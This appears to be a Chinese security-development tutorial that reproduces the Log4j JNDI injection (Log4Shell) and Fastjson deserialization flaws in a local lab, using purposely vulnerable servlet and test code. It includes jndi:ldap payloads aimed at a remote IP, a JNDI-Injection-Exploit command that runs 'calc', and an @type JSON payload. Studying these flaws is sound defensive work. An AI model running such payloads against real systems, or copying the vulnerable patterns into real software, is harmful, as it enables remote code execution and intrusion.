第36天:安全开发-JavaEE应用第三方组件Log4j日志FastJson序列化JNDI注入
时间轴:

演示案例:
Java-三方组件-Log4J&JNDI
Java-三方组件-FastJson&反射
Maven的下载及配置:
Java-三方组件-Log4J&JNDI
1.创建新项目

2.log4j组件的导入
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version>
</dependency>
https://mvnrepos
搜索log4j,选择第一个

进入后选择2.1.4

复制其maven

maven代码:
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version>
</dependency>
点击上面的![]()

会在外部多加两个库:
Log4jTest:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4jTest {//使用Log4j 实现错误日志输出private static final Logger logger = LogManager.getLogger(Log4jTest.class);public static void main(String[] args) {//如果这个code变量是可控的String code="${java:os}";logger.error("{}",code);}}
Logger选择此项:

正常情况运行的话:
使用Log4j 实现错误日志输出:

测试漏洞
package com.example.log4jwebdemo;import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {//构造HTTP Web服务 使用带漏洞Log4j版本 实现功能private static final Logger log= LogManager.getLogger(Log4jServlet.class);@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String code =req.getParameter("code");log.error("{}",code);}
}
使用http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code={$java:os}
正常情况:(在最下面能看到系统)

当遇到一下情况时:
<Connector port="8080" protocol="HTTP/1.1"connectionTimeout="30000"maxThreads="800"minSpareThreads="50"redirectPort="8443"URIEncoding="ISO-8859-1"relaxedQueryChars="[,],|,{,},^,\,`,",<,>"/>
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:从0到1java安全5_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客
网上漏洞注入:
使用xshell生成JNDI进行漏洞注入:
1.先更新源sudo apt update2.安装javasudo apt install default-jre3.切换到目录
cd /4.使用java打开jar文件
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 
下面使用的ip为linux的ip
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.239.89.173 注意使用版本jdk必须小于jdk8u 121,本人使用112
package com.example.log4jwebdemo;import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {//构造HTTP Web服务 使用带漏洞Log4j版本 实现功能private static final Logger log= LogManager.getLogger(Log4jServlet.class);@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String code =req.getParameter("code");//code=$(java:os) 输出执行结果//code=(java:os) 正常输入//${jndi:ldap://47.94.236.117:1389/uyhyw6}//${jndi:ldap://xxxx.dns.log}//ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法//什么方法? -C "calc" 执行计算机的功能方法(JNDI注入工具生成的)log.error("{}",code);//1、开发源码中引用漏洞组件如log4j//2、开发中使用组件的代码(触发漏洞代码)//3、可控变量去传递Payload来实现攻击}
}
Java-三方组件-FastJson&反射
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>
package com.xiaodi;//给fastjson数据转换测试用的
public class User {private String name;private Integer age;public Integer getAge() {return age;}public String getName() {return name;}public void setAge(Integer age) {this.age = age;System.out.println(age);}public void setName(String name) {this.name = name;System.out.println(name);}
}
创建Fastjson
package com.xiaodi;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;//使用fastjson去处理User类数据
public class FastjsonTest {public static void main(String[] args) {//u Object对象//Integer age String name 字符串数据User u = new User();u.setAge(30);u.setName("xiaodi");//System.out.println(u);//我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)//我就选择第三方组件fastjson来去做这个功能//讲json对象转换json数据String jsonString = JSONObject.toJSONString(u);System.out.println("这就是json格式:"+jsonString);}}
使用json格式输出时候:
Fastjson漏洞造成:
当json转换为对象的时候,翻译从User改为Run从而调用错误。
String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";
package com.xiaodi;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;//使用fastjson去处理User类数据
public class FastjsonTest {public static void main(String[] args) {//u Object对象//Integer age String name 字符串数据User u = new User();u.setAge(30);u.setName("xiaodi");//System.out.println(u);//我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)//我就选择第三方组件fastjson来去做这个功能//讲json对象转换json数据
// String jsonString = JSONObject.toJSONString(u);
// System.out.println("这就是json格式:"+jsonString);//分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
// String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
// System.out.println(jsonString1);//上述对象 -> JSON//下面JSON -> 对象//String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}";String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";//实战中com.xiaodi.Run 我们不知道 固定调用//rmi ldap 去触发远程的class 执行代码(RCE)JSONObject jsonObject = JSON.parseObject(test);System.out.println(jsonObject);}}

漏洞exp文章:
相关文章:
第36天:安全开发-JavaEE应用第三方组件Log4j日志FastJson序列化JNDI注入
时间轴: 演示案例: Java-三方组件-Log4J&JNDI Java-三方组件-FastJson&反射 Maven的下载及配置: IDEA配置Maven的超详细步骤_java_脚本之家 Java-三方组件-Log4J&JNDI JNDI 注入: ( 见图 ) Java Naming and Dire…...
21爬虫:使用playwright接管本地已经登录淘宝的浏览器并查找python相关店铺信息
1.playwright如何接管本地浏览器 (1)首先找到电脑上安装的Chrome浏览器可执行程序的完整路径: Mac电脑上可执行程序的完整路径为: /Applications/Google Chrome.app/Contents/MacOS/Google Chrome windows系统的电脑上查找可执行…...
【C++】RBTree(红黑树)模拟实现
文章目录 1.红黑树的概念2.红黑树的性质3.红黑树的结点4.insert函数(插入结点)5.左旋、右旋6.总代码 后续有时间会增加erase 1.红黑树的概念 红黑树是一种自平衡的二叉搜索树。每个节点额外存储了一个 color 字段 (“RED” or “BLACK”), …...
Redis——优惠券秒杀问题(分布式id、一人多单超卖、乐悲锁、CAS、分布式锁、Redisson)
#想cry 好想cry 目录 1 全局唯一id 1.1 自增ID存在的问题 1.2 分布式ID的需求 1.3 分布式ID的实现方式 1.4 自定义分布式ID生成器(示例) 1.5 总结 2 优惠券秒杀接口实现 3 单体系统下一人多单超卖问题及解决方案 3.1 问题背景 3.2 超卖问题的…...
【现代深度学习技术】深度学习计算 | GPU
【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈PyTorch深度学习 ⌋ ⌋ ⌋ 深度学习 (DL, Deep Learning) 特指基于深层神经网络模型和方法的机器学习。它是在统计机器学习、人工神经网络等算法模型基础上,结合当代大数据和大算力的发展而发展出来的。深度学习最重…...
USB Flash闪存驱动器安全分析(第一部分)
翻译原文链接:Hacking Some More Secure USB Flash Drives (Part I) | SySS Tech Blog 文章翻译总结:文章对一些具有AES硬件加密的USB闪存驱动器的网络安全分析研究。研究由SySS的IT安全专家Matthias Deeg进行,他在2022年初发现了几个安全漏…...
3.1 严格Stubbing模式
严格Stubbing(Strict Stubbing)是Mockito提供的一种增强测试严谨性的模式,旨在检测以下问题: 多余的Stubbing:配置了未被调用的方法桩。不必要的Stubbing:Stubbing未被使用且不影响测试结果。桩顺序错误&a…...
【Linux】--- 基础开发工具之yum/apt、vim、gcc/g++的使用
Welcome to 9ilks Code World (๑•́ ₃ •̀๑) 个人主页: 9ilk (๑•́ ₃ •̀๑) 文章专栏: Linux网络编程 本篇博客我们来认识一下Linux中的一些基础开发工具 --- yum,vim,gcc/g。 🏠 yum 🎸 什么是yum 当用户想下载软…...
Python + WhisperX:解锁语音识别的高效新姿势
大家好,我是烤鸭: 最近在尝试做视频的质量分析,打算利用asr针对声音判断是否有人声,以及识别出来的文本进行进一步操作。asr看了几个开源的,最终选择了openai的whisper,后来发现性能不行,又换了…...
redis 缓存击穿问题与解决方案
前言1. 什么是缓存击穿?2. 如何解决缓存击穿?怎么做?方案1: 定时刷新方案2: 自动续期方案3: 定时续期 如何选? 前言 当我们使用redis做缓存的时候,查询流程一般是先查询redis,如果redis未命中,再查询MySQL,将MySQL查询的数据同步到redis(回源),最后返回数据 流程图 为什…...
SAP HCM 批量核算工资报错如何定位错误 (SAT分析错误)
导读 簇目录 (表 RGDIR) 不包含任何记录:今天遇到一个很奇怪的问题,簇目录 (表 RGDIR) 不包含任何记录,而且出现的问题没有具体到员工编号,所以处理问题非常棘手。今天分享下我的处理方式,以便大家遇到这类的问题不知道如何下手。…...
常用共轭先验分布
内容来源 贝叶斯统计(第二版)中国统计出版社 正态分布的均值 总体分布 N ( θ , σ 2 ) N(\theta,\sigma^2) N(θ,σ2) 先验分布为正态分布 N ( μ , τ 2 ) N(\mu,\tau^2) N(μ,τ2) 样本 x i ( i 1 , 2 , ⋯ , n ) x_i(i1,2,\cdots,n) xi(i1…...
浅聊MQ之Kafka与RabbitMQ简用
(前记:内容有点多,先看目录再挑着看。) Kafka与RabbitMQ的使用举例 Kafka的使用举例 安装与启动: 从Apache Kafka官网下载Kafka中间件的运行脚本。解压后,通过命令行启动Zookeeper(Kafka的运行…...
服务器被暴力破解的一次小记录
1. 网络架构 家里三台主机,其他一台macmini 启用ollama运行大模型的服务,主机1用来部署一些常用的服务如:mysql, photoprism等,服务器作为网关部署docker, 并且和腾讯云做了内网穿透。服务器部署了1panel用来管理服务并且监控&…...
3. 导入官方dashboard
官方dashboard:https://grafana.com/grafana/dashboards 1. 点击仪表板 - 新建 - 导入 注:有网络的情况想可以使用ID,无网络情况下使用仪表板josn文件 2. 在官方dashboard网页上选择符合你现在数据源的dashboard - 点击进入 3. 下拉网页选…...
国家队出手!DeepSeek上线国家超算互联网平台!
目前,国家超算互联网平台已推出 DeepSeek – R1 模型的 1.5B、7B、8B、14B 版本,后续还会在近期更新 32B、70B 等版本。 DeepSeek太火爆了!在这个春节档,直接成了全民热议的话题。 DeepSeek也毫无悬念地干到了全球增速最快的AI应用。这几天,国内的云计算厂家都在支持Dee…...
第6章 6.4 ASP.NET Core Web API各种技术及选择
6.4.1 控制器父类用哪个 6.2小节和6.3小节所演示的ASP.NET Core Web API 的控制器类都继承自ControllerBase,而6.1中MVC的控制器继承自Controller,Controller又继承自ControllerBase。 所以,一般情况下,编写的WebAPI控制器类继承…...
python导入模块的方式
在python开发中,巧用模块导入可简化开发,提高开发效率。下面简介下模块使用使用事项: 一、模块的使用: 模块 就好⽐是 ⼯具包,要想使⽤这个⼯具包中的⼯具,就需要 使用import导⼊ 这个模块每⼀个以扩展名…...
【Linux】Ubuntu Linux 系统——Node.js 开发环境
ℹ️大家好,我是练小杰,今天星期五了,同时也是2025年的情人节,今晚又是一个人的举个爪子!! 🙂 本文是有关Linux 操作系统中 Node.js 开发环境基础知识,后续我将添加更多相关知识噢&a…...
使用pyCharm创建Django项目
使用pyCharm创建Django项目 1. 创建Django项目虚拟环境(最新版版本的Django) 使用pyCharm的创建项目功能,选择Django,直接创建。 2. 创建Django项目虚拟环境(安装特定版本) 2.1创建一个基础的python项目 2.2 安装指定版本的D…...
【前端框架】深入Vue 3组件开发:构建高效灵活的前端应用
一、引言 Vue 3作为一款流行的前端框架,其组件化系统是构建大型应用的核心。通过将应用拆分为多个可复用的组件,不仅能提高代码的可维护性与复用性,还能让开发团队进行高效的协作。本文将深入探讨Vue 3组件开发的各个方面,帮助开…...
基于Python flask-sqlalchemy的SQLServer数据库管理平台
适应场景: 主要用于帮助DBA自动化很多日常工作,包括: 数据库状态监控 性能问题诊断 日志分析 自动巡检 问题告警 系统截图: main.py from flask import Blueprint, render_template, request, flash, redirect, url_for f…...
npm运行Vue项目报错 error:0308010c:digital envelope routines::unsupported
大家好,我是 程序员码递夫。 问题 VSCode 运行Vue项目,提示错误: building 2/2 modules 0 activeError: error:0308010c:digital envelope routines::unsupported 解决方法 原因是 npm 高版本(大于17),对ssl的处理做了改进&…...
计数排序
目录 计数排序原理和步骤: 完整代码实现: 计数排序原理和步骤: 当一段数据比较集中在一个范围,比如 98,95,98,91,90,93,94,97,93&…...
MyBatis拦截器终极指南:从原理到企业级实战
在本篇文章中,我们将深入了解如何编写一个 MyBatis 拦截器,并通过一个示例来展示如何在执行数据库操作(如插入或更新)时,自动填充某些字段(例如 createdBy 和 updatedBy)信息。本文将详细讲解拦…...
Pythong 解决Pycharm 运行太慢
Pythong 解决Pycharm 运行太慢 官方给Pycharm自身占用的最大内存设低估了限制,我的Pycharm刚开始默认是256mb。 首先找到自己的Pycharm安装目录 根据合适自己的改 保存,重启Pycharm...
双ESP8266-01S通讯UDP配置
第一台ESP8266(发送命令需要勾---发送新行) ATCWMODE3 ATCWSAP_DEF"CAR_wifi_Master","12345678",5,3 //设置本地wifi名称以及密码 ATCIPSTA_DEF"192.168.4.1" //设置本地IP ATCIFSR …...
Molecular Communication(分子通信)与 Molecular Semantic Communication(分子语义通信)
1. 引言 随着传统无线通信在极端环境(如微观生物体内、海洋深处)中的局限性凸显,分子通信(Molecular Communication, MC)成为一种新型通信范式。分子通信通过分子作为信息载体,在纳米尺度上传输信息&#…...
Cookie:网页浏览背后的“小秘密”
在现代互联网的世界里,Cookie 是一个几乎无处不在的概念。它不仅影响着我们的网页浏览体验,还在背后默默地支持着许多网站的功能和服务。本文将带你全面了解 Cookie 的原理、作用、安全性以及如何管理它们。 一、什么是 Cookie? Cookie 是一…...
日语学习-日语知识点小记-构建基础-JLPT-N4N5阶段(6):動詞ない形について句型
日语学习-日语知识点小记-构建基础-JLPT-N4&N5阶段(6):動詞ない形について句型 1、前言(1)情况说明(2)工程师的信仰2、知识点(1)~動詞な形 +なければなりません(2)~動詞な形 + なくてもいいです(3)に まで までに :区別3、单词(1)日语单词…...
